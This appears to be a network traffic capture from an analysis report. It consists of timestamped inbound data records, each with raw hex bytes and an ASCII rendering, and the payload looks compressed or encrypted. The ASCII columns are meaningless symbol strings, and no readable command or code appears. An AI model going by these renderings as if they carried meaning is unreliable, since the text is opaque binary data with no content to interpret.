ab 56 c3 ea e9 f5 72 e5 7a 15 aa c9 3a 33 b5 
Data Ascii: we"E"pb;yLaif-A*jIJ}6A?B~O^E[r(I]3%i/=[8BZ[RD2R "[r#N#c:o?T2Jh"SOO9f,oedOgWv#$mNY+unfVrz:3

2022-01-13 21:05:25 UTC 1588 IN Data Raw: e5 ce b7 f3 03 0b 2e fa 12 10 a6 ac e7 8f 75 e0 d6 b5 88 f4 d8 5a ac 56 c9 bf 28 de ee 1d 45 f2 dd e2 23 9d 67 
de d8 70 64 d1 c2 c8 d4 83 7f 42 53 8c 89 70 b7 67 46 bf 64 24 d0 68 4a cd 81 b6 43 86 db a2 ef f8 3e 39 a5 84 b3 06 08 
bd b1 bc bc b0 14 d5 62 f8 3b 20 71 36 ab d8 c2 08 96 d8 e8 c5 6f 8d 83 70 48 0c 3b 26 18 41 26 07 8a 4e 8b b8 0f 0a f8 
89 f0 ca 67 34 59 8f 1d e7 e2 1c 8f f6 6f c4 42 e2 d0 31 d6 a6 d6 5e 5e 6e 13 8b 71 e8 fc ae 5b 7b 57 c7 97 7f 5d ee 5e 9d 
03 05 fc 75 ef fc 2f fc 4c 0a 33 8a 3c 73 8c 62 00 41 87 f5 9b df c5 5d d8 ac db ea 4e 1a d8 7f 27 fe 78 7f bb c5 c3 c0 74 
7d 0c 43 4d 13 74 c9 46 8e 85 f5 ce 12 87 e2 0c 0f 05 d0 b0 7a 67 6a b0 48 51 1d 52 f0 30 c3 41 06 68 a2 4f fc d9 ed b4 
9e ac 2a 6a 64 cb 7c 4a 50 bd c8 43 3a 80 3b 38 
Data Ascii: .uZV(E#gpdBSpgFd$hJC>9b; q6opH;&A&Ng4YoB1^^nq[{W]^u/L3<sbA]N'xt}CMtFzgjHQR0AhO*jd|JPC:;8

2022-01-13 21:05:25 UTC 1589 IN Data Raw: 68 34 a3 f1 00 df 34 aa 4b 25 11 76 c6 e8 49 46 7e c1 45 5c 35 0f 4d fa 41 48 8a 97 27 e2 f0 5f b5 13 67 db 41 
a5 6c 6d 7b db 26 71 a0 52 7e 42 2b 4c 58 b8 cd 77 f8 10 07 bf a5 39 f4 4e d8 1b 5e a0 74 96 b5 04 53 fe 27 13 01 a8 97 
b9 f8 e2 d1 a8 57 fd eb af c7 c7 c7 62 33 1c 35 8a dd 41 f4 57 33 f8 2b 18 b8 8d d1 6a dc 6d c1 c0 57 07 6d 58 d8 d5 04 a1
3c 36 83 10 b0 ca 2a dc 76 61 67 48 d2 61 04 12 3d dc 80 87 9b 72 e7 95 eb 61 0d 2f 39 7c a8 55 82 22 3c d3 08 9f 4c 2d 
a0 73 c1 a8 38 ec 01 71 c2 34 ae 50 cf ea 22 1b 97 49 28 97 2d 81 89 e9 bc 49 b2 84 a1 e4 4a 0d 27 d5 33 46 45 96 47 
88 a4 e0 5c a7 06 86 e4 00 51 70 2c e4 0a 6f e1 9a 49 3e 8a 8f 77 28 e4 41 01 56 60 0a b0 d8 ff 93 af fd 57 93 b4 8f 7d d4 
98 40 db 00 a0 0d 6f 0b e9 a3 96 58 6e fb db b9 ef 
Data Ascii: h44K%vIF~E\5MAH'_gAlm{&qR~B+LXw9N^tS'Wb35AW3+jmWmX<6*vagHa=ra/9|U"<L-s8q4P"I(-IJ'3FEG\Qp
,oI>w(AV`W}@oXn

2022-01-13 21:05:25 UTC 1590 IN Data Raw: 94 12 a8 18 34 40 89 93 8b 68 58 e0 4b f6 12 a4 6d 1f f8 0a 1a 3d 28 6d c1 19 54 81 11 ad 53 66 e9 fd 21 bf 43 
6c 75 97 29 96 90 0a e9 f4 14 01 90 ce 42 ad 23 9f 67 2a 15 e2 08 ed 8d f2 05 15 22 c8 bb 03 c3 cc 1d 28 6f 2a 46 30 a4 
20 a2 ef 14 72 7e a3 dc 70 00 82 ae 69 cb 3b e3 5e 1b 4e b9 bf d6 dc b1 9d dc 6f 8e d3 28 ea 7b ef e5 25 79 f5 49 65 14 
50 b0 25 5f 75 07 92 a4 b8 87 b6 c9 8b 36 fc 35 63 96 a3 20 52 de 4b 83 10 8e a1 1f d2 48 f1 bd 9f af a2 f1 d4 aa f0 bc 71 
0a bc c6 7a ce c9 33 7d ce a4 df 32 e5 44 f4 a9 07 45 a3 27 fb c3 dc 61 d2 41 00 a6 fa 6e 3b 47 f9 67 d1 55 b4 93 ec b0 
9e 4d b0 0b d5 05 94 1b 3f 34 f3 94 87 54 7d 49 c4 d5 dd 0c 4d 47 f2 83 d4 19 19 4f a9 8e a1 13 24 05 e0 05 e3 37 5a 3e 
ec 5f da 66 2e 13 af 4c 8f de 23 0d a7 34 ed e2 e2 
Data Ascii: 4@hXKm=(mTSf!Clu)B#g*"(o*F0 r~pi;^No({%yIeP%_u65c RKHqz3}2DE'aAn;GgUM?4T}IMGO$7Z>_f.L#4

2022-01-13 21:05:25 UTC 1592 IN Data Raw: 4d 04 04 9c 82 c7 2f 78 89 65 48 39 7c 8d c7 37 97 4f 01 dd 71 9d 06 ed b9 a0 0a ac 37 1a a2 c8 09 9f c7 20 
13 0d 50 c2 42 75 b8 cd 41 0b 16 46 88 3a 6b c6 e0 da db f4 bc 27 b6 e4 c8 b6 aa 58 c3 01 96 09 a7 5e 4a bd 31 ad 49 b6
23 46 b6 a3 5d 10 63 52 3b 4c 3c a3 31 ef 81 26 e6 e8 23 8d 63 2e 12 61 5b c4 b7 ea b8 00 1b 40 fb 34 cc 5e 44 4b f4 18 
22 45 d4 ec 6a c7 65 c7 ba 07 ac ff 68 50 d8 07 b9 92 62 c4 47 dd 6d dc 9a 7c 62 87 1e 56 49 e7 87 84 e9 8e 52 cc c7 17 
49 54 a3 d8 89 96 97 97 f4 b3 ab a1 fc 50 e0 94 cb a3 13 7c ee d4 01 36 66 97 3c 38 da c3 9f 06 81 24 1a a6 55 ad 5f dc 
c5 a8 37 37 21 fa 2c e9 6d 23 d7 48 ff de 8a 18 13 cb e9 c4 5a 83 45 8c 4d 54 74 74 92 de aa 30 20 d4 45 30 f5 1d 6b ac 
5d 91 1a 9b 1c 15 76 56 00 d0 5d c8 31 1c 47 a3 0d a9 d2 
Data Ascii: M/xeH9|7Oq7 PBuAF:k'X^J1I#F]cR;L<1&#c.a[@4^DK"EjehPbGm|bVIRITP|6f<8$U_77!,m#HZEMTtt0 E0k
]vV]1G

2022-01-13 21:05:25 UTC 1593 IN Data Raw: 42 1f 9b 26 d0 ac d9 8a b7 2c b2 55 6d a7 83 fc b7 29 56 96 f4 74 3b 25 5e ae a9 4f b8 90 51 00 86 76 cc 4a 
e1 ca c1 9e 34 57 57 5f 08 56 56 aa 9a df 33 b3 96 97 c3 95 15 34 6f 2e 20 44 44 7c 85 e3 c2 fb 08 11 85 6a a4 0e 5a c4 
af 57 e2 47 96 04 76 53 44 90 dd 1c 1e f9 a8 0e 85 02 25 92 18 11 b0 3e 4c db 85 4a fe 51 68 8f 81 62 20 c6 64 3a 7f 98 
b7 e7 67 0a 92 cf 10 49 68 a0 fc d1 64 6f d3 74 1c 43 e7 79 22 89 95 b0 48 e3 b9 ea ca e7 5e 12 c1 a2 33 82 6c 06 49 61 
c9 39 37 be 5f 37 e8 56 2a 46 c0 69 34 a6 e5 f2 c0 47 78 35 74 26 08 4c 0b c6 5e 45 a1 e5 c0 e9 6b af 4a 03 f6 aa 94 24 
15 d0 34 9c df 02 c6 24 c2 ed 85 81 f9 72 8f 2e 0f 92 a7 fb e5 e5 c4 74 33 9d 03 1b bb 03 df 69 91 bf 48 f6 7a 87 9e f6 eb 
f1 ea aa b1 cb 9c b8 bc bc d0 5e 5d e5 b1 fe 06 fc f5 
Data Ascii: B&,Um)Vt;%^OQvJ4WW_VV34o. DD|jZWGvSD%>LJQhb d:gIhdotCy"H^3lIa97_7V*Fi4Gx5t&L^EkJ$4$r.t3iHz^]

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1594 IN Data Raw: fa 8d fa 52 09 03 5c 64 5f 15 f0 60 63 3c 99 4a 05 c5 49 28 55 9e 6b b2 6b 8a e7 c4 73 76 01 5f b3 bc 8d 4c cb 
db b4 bb 91 4f 81 f4 45 da 69 90 ed 2d 9e cd 9d f4 7a ba ce 3e 87 67 9a 0a d6 a9 82 da b9 ea 57 cd 82 a5 f2 ef 11 d1 eb 
90 64 94 c2 21 76 fd 7b 59 11 8d b2 1d 73 dd 77 d5 b2 73 d4 1d 0a ef bb 2d e8 83 c7 d4 ba 73 13 c1 06 b3 63 7f 21 ae bb 
95 ef a1 53 68 f3 cd 1a 2c ac f6 bc ab ac 17 b4 0e 4b 4b e9 c3 dc 39 1d c4 63 4a f7 c4 23 8a 5f de ee ad cb e1 f7 75 f2 0c 
69 aa aa dc 29 ff ae ca d6 ce 03 84 8b 8e 8f 73 3d f4 ef 3a 70 61 77 e4 59 56 e3 a0 a8 77 64 35 c1 ea e1 18 c7 dc 6d 0f c5 
22 90 01 51 13 4d 8a d4 71 ee 2a 6a 18 a5 c0 33 aa 2d 8e 7b 64 6b a9 ea f4 ef 66 bb dd 08 8a bf a3 1a f2 01 6d 58 2e 94 
a3 48 4b 5e d2 7c 37 0c bc f0 79 7b a9 2c 62 53 
Data Ascii: R\d_`c<JI(Ukksv_LOEi-z>gWd!v{Ysws-sc!Sh,KK9cJ#_ui)s=:pawYVwd5m"QMq*j3-{dkfmX.HK^|7y{,bS

2022-01-13 21:05:25 UTC 1596 IN Data Raw: 04 c9 86 fa 11 15 f8 21 c1 e1 05 7b 71 ca 05 a1 52 1a 9c b2 96 a4 44 9c b2 41 3e e0 a0 bb 1d 7c 96 20 5e ef 
22 74 f1 9c 13 c5 66 75 68 7b 51 a0 89 38 00 58 6c 2e 7d d4 01 0a 89 28 43 de 02 f7 d7 cb 4b 73 78 ea 9e da b3 f2 0b 05 
df 39 4f 6d 82 af 21 6b ba b4 a3 c3 b5 1c cd a2 35 0f b7 15 7b 36 fe 0c 39 a7 9f 25 05 96 30 82 8a 4f f4 15 9f 98 8a c0 06 
b7 f1 a4 76 94 b2 a2 25 26 2c 57 61 88 1b e0 47 32 6e 35 79 5e b3 c6 1d 4b 19 79 e3 e5 ec 16 ea 7e 5d f9 94 91 16 49 e4 
33 df 02 de b5 0a 7f da 56 d5 4b bc ce a0 39 08 64 ff be 93 ee 5e 04 95 30 7c 68 b2 03 fc 8c 2c 03 99 98 5c 89 85 2b 4d 
3d b1 d2 a7 3c 13 a1 9c 2d d5 7b 57 a8 af 96 ab 40 e0 ef e4 e0 16 98 53 1e 34 b8 a1 bf 87 6f b0 11 a0 84 03 12 83 02 9e 
90 2f c7 0a 22 66 97 29 bc bc 9c 62 80 9e 72 45 cc 2d 
Data Ascii: !{qRDA>| ^"tfuh{Q8Xl.}(CKsx9Om!k5{69%0Ov%&,WaG2n5y^Ky~]I3VK9d^0|h,\+M=<-{W@S4o/"f)brE-

2022-01-13 21:05:25 UTC 1597 IN Data Raw: 70 5b c3 90 dc 47 e6 e1 4a e9 b0 bb 98 c5 85 2b 5e 71 0a 11 56 8d b6 14 66 56 f5 65 1c b8 1a 7b a5 30 bd a3 
04 30 26 40 d7 55 b8 39 d4 be d0 1a 45 f8 ce 9d bb 46 67 db e6 02 2d 78 37 81 dc 86 00 57 0a 16 e1 78 96 f8 d0 95 e1 e8 
a5 b3 4a 96 12 73 50 1c f4 3f 84 3a 56 66 1c 9b 93 b4 28 4d 3e f6 68 d7 2c ab e5 94 63 15 f9 68 14 a7 9e 81 ba ea 35 08 
4d e1 4e 5e 11 3c 4e 87 2f 7b 96 f7 47 75 b5 0c 97 0c fe 3b bc c7 7f bb f8 7b 62 0a 6b 9d e4 8e 5f 5e 9e 4e f4 f2 12 fd bc 
44 76 d6 e0 fe 2d dd 67 4a 4d 0e 7f 95 a7 23 fa 89 0b 9f 80 d3 c8 e2 5d 4e 77 5c 6f 57 db 2b fd 5a 5c dc bb 73 4a ef db 75 
83 6c 28 97 4a 7f f6 ff 6a 17 60 e4 b5 92 7a bc a4 e0 97 2e 37 14 89 b6 e3 f1 cf 5d 11 17 e5 d4 b3 cd 6c ff d9 fe ab 5f a8 
96 0a 93 b4 97 9f 5d 25 fb ed 2a d9 6f db 09 26 
Data Ascii: p[GJ+^qVfVe{00&@U9EFg-x7WxJsP?:Vf(M>h,ch5MN^<N/{Gu;{bk_^NDv-gJM#]Nw\oW+Z\sJul(Jj`z.7]l_]%*o&

2022-01-13 21:05:25 UTC 1598 IN Data Raw: 1e 9a f7 be 57 0a 87 68 e2 03 e3 c4 75 44 ed 9d 53 e0 b4 53 07 cb 23 57 14 b1 83 b6 64 17 79 8a b0 d2 bd d3 
b4 3b 40 8a ad 74 b9 6d fb 09 c5 c5 e1 e6 fd 94 4e e3 92 87 ef 2a 89 ce a3 91 cb 66 9b 0b 19 ff df 67 b9 16 6d f3 22 be 25 
a1 02 99 da 64 af 7d 35 5f 27 64 1f 69 35 0d 4a 04 28 ff f4 f1 a7 1d 38 3d e4 22 8e c8 e9 75 b9 84 a6 6e 1f 2b 18 d8 c0 93 
e1 d5 fc 74 2c 38 f1 65 da a6 30 77 84 48 2d d3 b8 30 c0 1a 91 84 e8 ad 08 6d 75 50 fd 3c 09 9d 97 7e 92 b4 0a 89 8b db 
40 ad 81 40 07 d2 e7 77 e8 c0 ca 09 b5 32 7a 83 95 d1 93 24 a8 e9 34 a4 cb 0f a6 e7 e5 72 34 d4 ec 23 9a 72 a4 d4 00 
a3 82 60 d4 1c 15 30 40 0b 7b 72 c6 50 8d 7e b2 28 e9 25 c6 15 aa 29 a3 04 5f 9a 2f 72 cc bc 9b 5b ed a4 1a 8d 86 c9 48 
30 60 57 36 17 77 19 27 5a 4a 51 eb 99 f6 09 83 fe 90 
Data Ascii: WhuDSS#Wdy;@tmN*fgm"%d}5_'di5J(8="un+t,8e0wH-0muP<~@@w2z$4r4#r`0@{rP~(%)_/r[H0`W6w'ZJQ

2022-01-13 21:05:25 UTC 1599 IN Data Raw: af 34 4e 97 cb 74 eb 3a 59 59 ae cc bc 98 de 82 97 10 c5 33 8b 3e e3 9e e0 cc b7 5c 4b b2 e4 1b 3a 9c 41 46 
64 b3 df 72 3d fd 93 cb 57 12 7b 33 7a 95 b9 aa d3 9c 3d 9b 2a 9a df 67 d6 6e 36 e9 2f 9b a3 ae 97 92 c8 c9 7b ad 6d b5 
6b 0b 39 ad a7 36 0d c0 2f 2f f3 7f e9 4a 9f b3 d7 a9 fc 37 5d ed 6f dd 6d be b0 e6 74 9d 2e f0 b6 6b fe 0d 9d 7f e9 e5 f7 
99 a4 cf bf 0a 5f e9 62 c6 75 b8 f0 af ee c3 7f 61 b0 ac 6e de 9c 75 ca 33 6f 26 69 b1 9f b1 7a 4f 64 72 e8 fa f3 e0 00 1a 54
82 3b 14 3b a3 24 f8 18 25 3e 9b a4 5f f2 55 c9 7a f2 0c c8 0b ca a8 3b 29 36 db 8a bc a0 ec bd 59 a0 b4 89 62 51 d2 30 
91 b1 81 e9 95 0d 2a 75 78 cb 8f 3a 8d 2e f2 66 df be 2a ad c8 d1 ff d7 dc 97 37 b7 ad 2b 7b fe ef 4f 21 f3 a9 3c e4 35 a3 
48 5e 62 4b 0a 8f ca f1 1e af f1 9a d8 c7 2f 
Data Ascii: 4Nt:YY3>\K:AFdr=W{3z=*gn6/{mk96//J7]omt.k_buanu3o&izOdrT;;$%>_Uz;)6YbQ0*ux:.f*7+{O!<5H^bK/

2022-01-13 21:05:25 UTC 1601 IN Data Raw: 58 33 c4 9a ad 58 1e 6c fd 35 d7 c4 ec a6 0d d1 a9 20 11 51 12 7e 88 ac 8f 66 eb 43 13 53 18 7c 88 a8 bf e5 
69 2d fd 01 53 fb 7b 9e f8 81 87 1c e2 2e 0d 33 31 27 1f 12 48 70 d2 c1 0b e6 28 c3 18 45 62 d6 a0 ca 91 4f c2 13 66 0b 
cd 2f 70 78 e3 29 40 07 b6 ba af fb 22 36 63 5f 44 df 5e b6 cb 6c 75 59 91 17 c2 c1 b0 29 1f 35 e5 a3 26 3f 3a 37 43 7b 1d 
85 79 bc a8 a2 03 fb 31 5c 48 37 d8 50 38 c9 ee ef 98 98 cf 9e dd fa be e2 8f 32 3f 5e 56 05 3f a9 2b f6 b0 65 4e 20 21 a9 
35 7f 3e 74 7e b4 5b b0 41 b3 1d 30 ed ee c7 be 91 40 fc 21 ac 3f ec 98 19 89 b2 11 7a 9a c1 dd 08 7b 99 ed 37 75 ab f5 
e0 8a b8 b1 44 97 e7 60 31 7b 49 cb 7a bc 98 bb da ca c5 ef 20 a7 89 b8 02 1e 8f 66 15 5e d1 0a 0b 44 f1 33 3d 60 75 56 
bd c4 59 1c f1 d4 ba 96 6a 47 73 12 98 55 bd 5a d6 
Data Ascii: X3Xl5 Q~fCS|i-S{.31'Hp(EbOf/px)@"6c_D^luY)5&?:7C{y1\H7P82?^V?+eN !5>t~[A0@!?z{7uD`1{Iz f
^D3=`uVYjGsUZ

2022-01-13 21:05:25 UTC 1602 IN Data Raw: 21 22 a2 1b d1 00 06 33 16 c4 6c 55 49 b2 bd 39 7e f3 4c 7d 4e b2 34 0f 81 36 c1 94 03 27 7f 82 29 bd e9 0c 
58 31 19 94 76 88 87 5b a9 ca c7 4b bb f9 7b 76 2d 0c 3a 7d a8 36 1e aa b7 33 8b dc d5 2a e5 b5 e5 b5 95 ca fa d2 0a d0 
22 8f e7 3f 7a e3 cd 1c 6c 38 69 d2 07 4f 94 20 9b 47 39 b9 6c 23 d9 52 12 5a 21 a2 23 5b 92 d2 15 44 da cc be 08 fa c3 
34 ee 9d aa 79 48 1b 14 06 9f b9 fc 03 0a 58 33 e9 ab aa d1 57 e2 7d 1a 2f 48 13 5a 99 09 6d 6a 4f 72 b7 bc a7 07 cc 80 
40 c9 8c e7 5b d0 a7 ef 03 f3 d3 1a 9f 83 1a b4 c1 25 a0 e9 6a 42 3f 9b bb d5 a5 e2 89 90 3d 06 92 3d 8a c6 98 bb fe 43 
2b 19 26 ab 5a 71 35 51 25 c9 d1 92 2d 2c e3 59 05 d3 0f cd 34 cb 26 39 63 8e 56 24 68 e4 b2 46 3c 0f 99 81 b4 31 24 b0 
ed 30 01 6b ea 7e 1c f7 08 eb 7b 8b b2 28 6e c1 d9 cf d3 
Data Ascii: !"3lUI9~L}N46')X1v[K{v-:}63*"?zl8iO G9l#RZ!#[D4yHX3W}/HZmjOr@[%jB?==C+&Zq5Q%-,Y4&9cV$hF<1$0k~
{(n

2022-01-13 21:05:25 UTC 1603 IN Data Raw: 0b e0 66 6f 97 fd b3 ec 5f 0f e4 7d c0 61 0d 36 90 b8 14 59 36 f0 01 df 5f 45 0d 01 bb 73 d9 d7 03 ab 3e a8 22 
de ce 23 ae ee 95 b5 95 2a 48 1a c8 2c 1b 2c fe cf 19 1b 67 47 40 02 6c 96 b4 3f b1 55 72 19 5a 17 f6 49 db d8 0d 7b 93 
76 0f 51 5e 28 03 fc b7 5d b8 fd 05 59 58 29 92 60 02 84 d1 10 95 ba 70 3e ea 50 54 85 80 3c c0 9b a9 4c 81 a2 6b 98 2b 
a6 c5 15 44 13 9f f8 8e db 9b 34 e1 b4 80 49 a1 ad fa 26 be 26 c7 d1 3b d0 7c 59 08 4b 42 9c 72 b6 77 d9 61 a4 02 1f 42 
17 4b 70 18 18 4d 3c 16 a3 cd b2 0d 72 7d 0a a7 67 23 c9 26 98 3f 18 27 e3 16 48 3d f5 af 20 d3 c1 8f 41 38 74 8d da 01 
fd a0 28 81 5e 38 2e 6c bf 0c 3a 7d 4c 5d 5d 6b 35 f1 c1 4e 1b f6 fb fe 8b 51 f3 42 20 91 20 fa 68 58 78 7b b3 85 e9 5a 27 
dd 0f 1e 01 3e c1 83 d0 a8 75 b1 06 ce 4b 23 f5 1c 
Data Ascii: fo_}a6Y6_Es>"#*H,,gG@l?UrZI{vQ^(]YX)`p>PT<Lk+D4I&&;|YKBrwaBKpM<r}g#&?'H= A8t(^8.l:}L]]k5NQB  
hXx{Z'>uK#

2022-01-13 21:05:25 UTC 1604 IN Data Raw: d9 b7 c6 68 14 2e 19 f6 12 5f 8e c2 65 c3 5e 11 b7 57 7e 56 0c 7b 5d fd 80 52 95 4f f8 cb 7d 7a 31 ec e5 25 4c 
32 0f b2 26 71 3d 4a f7 9e 27 70 ee c3 fa af ab a0 25 5f 83 ec d5 7f 25 82 96 9e db cd b6 51 13 83 b4 24 c2 34 42 94 5b 41
b4 57 0f 2a f5 20 6c ba 93 ce 58 de 28 8b fc c5 cf f9 9e cb e8 29 3b 2f 92 c8 bf 27 00 90 a2 ff 8e dc 1e b0 19 15 fe c7 e7 e7
3d 81 11 a8 52 06 a8 a0 bf 2e c2 1a ea 59 0a d4 b9 7c 8f 6a f6 71 af d2 73 f6 ec ac eb 01 80 37 88 a8 65 c9 c3 b9 38 cf 97 
65 e4 e1 bc ca 78 e2 cb 1c 04 b7 77 20 dc 65 19 f1 16 af 4c 90 11 ea cf 3a 73 1c 61 2e 70 7d 8a 70 4c 76 d5 19 37 5d b8 
3f 48 97 35 55 de 10 99 6c b9 3d 12 93 68 5a b6 36 1c e2 47 17 c1 2d 05 bf db 9b 1d 1a e8 32 f0 e7 3c 1a b9 fe 42 08 ce 
1d 8b d6 00 67 c4 06 81 d3 72 9d 33 1c f4 
Data Ascii: h._e^W~V{]RO}z1%L2&q=J'p%_%Q$4B[AW* lX();/'=R.Y|jqs7e8exw eL:sa.p}pLv7]?H5Ul=hZ6G-2<Bgr3

2022-01-13 21:05:25 UTC 1606 IN Data Raw: 77 48 30 73 c8 2d 49 9c 0b fe 82 f6 c2 5e 34 6e 11 60 b1 13 a2 01 57 1b 06 03 58 6a 2c 88 8b c5 07 72 31 0a 
dc 66 33 fb ae c8 7a 8b 9c 5f 55 14 cd 84 16 83 fc 09 b1 a2 98 5a dc 88 4c a2 33 d1 14 06 23 33 a5 34 b1 66 88 9e 6c 54 
b3 89 99 01 5a 78 72 b8 06 02 41 b2 a2 03 10 42 28 8b 3e 23 9f e9 88 3c 0a b4 5c 7e e5 2a 0f 61 59 5c 6c 23 30 13 d9 f8 
5c a0 07 4b fc 42 80 b5 56 a8 c4 43 b6 06 ba f0 2a d1 de 59 ee 62 7e 7b 1a a2 46 02 27 b3 3f 19 d7 96 b7 57 d0 09 0e 71 
36 fc 49 97 60 ff e4 95 0d 2b 25 20 93 80 46 59 4e 27 32 55 01 e3 7c f3 6c ff f4 c2 c0 78 d7 b7 7e bf 16 da 37 91 74 13 b1 
79 85 9f ff 32 4f 1f 5c 90 ae a5 08 de 75 24 43 14 5d 68 a8 ab da ea f6 32 0c 10 a6 6c 6b c5 8e 04 c4 20 e1 a9 a9 f1 92 0d 
18 6a 02 30 80 79 a0 40 d9 2f 55 b3 62 1b a2 64 01 
Data Ascii: wH0s-I^4n`WXj,r1f3z_UZL3#34flTZxrAB(>#<\~*aY\l#0\KBVC*Yb~{F'?Wq6I`+% FYN'2U|lx~7ty2O\u$C]h2lk 
j0y@/Ubd

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1607 IN Data Raw: b3 db 0f c2 3f c5 61 f5 3b 3c ac 6e 10 70 7b cc c2 0a 52 12 0c 08 3e a6 93 3e 8c 49 23 7e 0e f7 e3 40 5a a4 6c 
3f 66 71 a5 4d ce 64 a6 a0 57 15 26 20 74 00 ba 11 8a 6e 70 7c f7 ec 9e 34 45 b9 91 5a a2 79 a5 e6 a2 4c 87 61 7a 61 f7 
04 21 a6 e7 a3 96 4a eb 2f 0d 20 77 fa 18 b6 3f 8a 65 4a 58 81 d0 63 e8 9f 3e 15 eb c4 1f db d7 be af 89 df 47 ab 7b 3b 0f 
ec e5 e5 29 16 6b 2c 01 4b 16 6f b3 91 4c 1e ee f9 8e 5f 47 db 42 af 49 a0 b1 ed 0b 42 8d 14 fb 5e 50 e7 c3 d6 f5 1a 9c a5
bd 96 74 9c 65 f3 68 f7 9e 11 a5 24 d8 16 ee 91 41 a9 d7 a6 73 1f 16 f8 be 96 38 46 86 a5 9e ef 44 f5 2d 3c 11 4e ed b7 1f 
8f b5 a0 74 1f d9 3b 13 f8 bb 09 ac 87 85 cc 0b 0c ad e5 f7 dc c0 58 f3 d5 77 38 69 b7 06 68 47 bf 0f 29 6e 03 c4 08 89 ef 
cb 25 a0 69 6c 8d 7f 8c dd 77 58 7b 4f c3 
Data Ascii: ?a;<np{R>>I#~@Zl?fqMdW& tnp|4EZyLaza!J/ w?eJXc>G{;)k,KoL_GBIB^Pteh$As8FD-<Nt;Xw8ihG)n%ilwX{O

2022-01-13 21:05:25 UTC 1608 IN Data Raw: b3 ec 4a 4f 30 37 ee 0c f4 71 d8 d5 08 7d 83 bc 40 c7 7d 31 9c 72 70 c7 2d 77 4c 04 de c3 60 56 26 f3 12 0b 
05 0f f0 d5 89 29 96 6b 7c a5 5a 46 fb c8 d8 1d c2 cb 09 00 16 87 a3 fe 55 be 0a 87 ae d0 6c 0f 47 63 9e 25 24 98 07 58 
79 33 1a 5b 2b 8b 7c 34 8b 86 0d 73 2b 8f d5 54 e9 a0 9b 3c 2e 3b f2 b5 22 86 e3 f0 07 ec 15 fc ed e4 14 74 2c 5a 05 96 
c3 2f ed cd aa 2f 03 e6 fa 52 99 5d fa e2 22 db 93 e6 c3 fd 00 e5 0d ac 70 ee 99 4a f7 f6 43 6e 67 a2 32 2c 27 de bf 44 7f 
4e 74 c6 d8 a7 2e 7d 59 37 c5 71 07 7a 35 ef 5a d2 1b b9 95 39 03 0a 9f 4d 4f 21 6a 1b 35 a1 78 3b c5 cd 03 e3 39 b6 42 
b6 25 a0 03 27 b0 fe db f2 5d 12 59 db a8 cd 2a fd 48 46 6b 84 1c ca 00 57 18 4b 06 da fc f1 fb a7 49 a4 ee 60 76 7b d7 fa 
db a5 5f e8 b6 67 2a 97 6c 3a 29 15 c8 12 c2 12 52 
Data Ascii: JO07q}@}1rp-wL`V&)k|ZFUlGc%$Xy3[+|4s+T<.;"t,Z//R]"pJCng2,'DNt.}Y7qz5Z9MO!j5x;9B%']Y*HFkWKI`v{_g*l:
)R

2022-01-13 21:05:25 UTC 1610 IN Data Raw: 64 50 b8 62 48 bd 18 5c c5 07 8a 96 23 5f f9 a8 5e d9 20 69 14 64 76 ab c6 d5 f5 a6 1f b9 69 7a 2c 1a 5c 92 0d 
aa 2f 99 93 8d 5e c7 8d 9a 5a cf 11 34 4e 7c 90 65 d3 5e 09 4f 83 53 78 74 29 6a 61 7a de e4 37 5d 8b 6f 6a c6 df b4 ac 
ba b0 8c d1 e7 a7 d4 74 9a 7a ea 30 e7 dc 3d b9 79 e3 5a ff 66 de b0 04 f9 ed d4 84 81 b4 41 1a bb 85 af ba 8d d0 3f 24 
7e f2 14 3f 69 25 9f 04 f1 13 4c 27 30 b5 1f 5d 44 bf b7 ec 27 f8 73 28 a4 3d 10 4d 56 2c 3e e9 ac d4 86 58 60 39 95 ed 49 
6e 34 ce c8 35 69 e1 66 c5 e5 4d e4 70 a4 33 69 29 ff 17 21 03 06 b1 68 22 e4 40 0a 6b 46 4d aa f0 d8 e2 bd 80 5e b6 5c 
4b 10 fc 3b 9b 1d 4d 7c 3f 0c 03 81 f3 27 01 7b b2 92 11 3a 42 da 73 f7 d7 39 ce 63 29 e9 52 30 79 5f 63 f2 cc a8 81 99 3f 
65 7b 60 a0 b4 b9 cb 71 6e 22 a6 cc 2d 5d 49 51 
Data Ascii: dPbH\#_^ idviz,\/^Z4N|e^OSxt)jaz7]ojtz0=yZfA?$~?i%L'0]D's(=MV,>X`9In45ifMp3i)!h"@kFM^\K;M|?'{:Bs9c
)R0y_c?e{`qn"-]IQ

2022-01-13 21:05:25 UTC 1611 IN Data Raw: ae a5 0d 1c 29 98 06 6c f6 ec da 6f 4f fd ce a4 1b d6 76 d7 4c 25 3b 2e 6f af fe 07 aa c4 69 31 70 6b b5 31 eb 
c5 3a 50 f0 79 8b ec a3 20 09 ff 60 e5 14 ec 9f f5 65 b9 b7 b8 a5 c7 a0 34 ea f6 fb e3 16 e5 4e b1 a6 e3 0e 07 c6 81 54 94 
9b ec 13 f7 20 d3 77 cc 18 2a 08 38 76 03 63 ca 78 5f 17 a3 48 00 c7 95 f8 35 94 74 54 05 be f9 0a b2 99 c2 31 08 fd f8 a3
e3 92 09 81 ed bb 73 f2 4b 83 f8 0b ec 1f 59 57 89 1e e1 33 b2 81 10 7e 58 0d 89 56 0a d7 a5 f3 16 f0 d8 1a 37 89 77 d4 
f0 95 a9 d1 32 35 3a c8 30 b8 3d c1 2d 3d 0d fd 09 bf 1d 3e 44 3b 12 68 86 be 02 a3 2f c0 3a 09 72 8a 90 5d 36 2e 22 57 
b4 5f a4 56 39 41 4b 8e 5f e4 26 7c d9 7e 4e 4f ac b7 49 27 c7 8a 4e dc d5 ff 8b e2 fc a8 0b 20 e8 1b 0a 4d b8 b0 5c 59 
2d 1b 8c c6 8d 4d 3b 98 92 91 1d 78 0f f2 d5 cc 
Data Ascii: )loOvL%;.oi1pk1:Py `e4NT w*8vcx_H5tT1sKYW3~XV7w25:0=-=>D;h/:r]6."W_V9AK_&|~NOI'N M\Y-M;x

2022-01-13 21:05:25 UTC 1612 IN Data Raw: 78 15 be 49 78 56 26 de 85 ee 2e f8 06 15 50 f1 e0 8b 7c 70 5c 13 88 27 68 04 a5 1b 72 2b a3 5b 62 9b c5 4a 
f2 94 52 83 63 9d f2 a3 a6 28 90 60 d1 34 0a 54 dc d1 fb 8c 95 88 2f 59 b1 96 41 ee f0 ad 22 b9 f2 07 b6 9c 44 9f 44 ce 71 
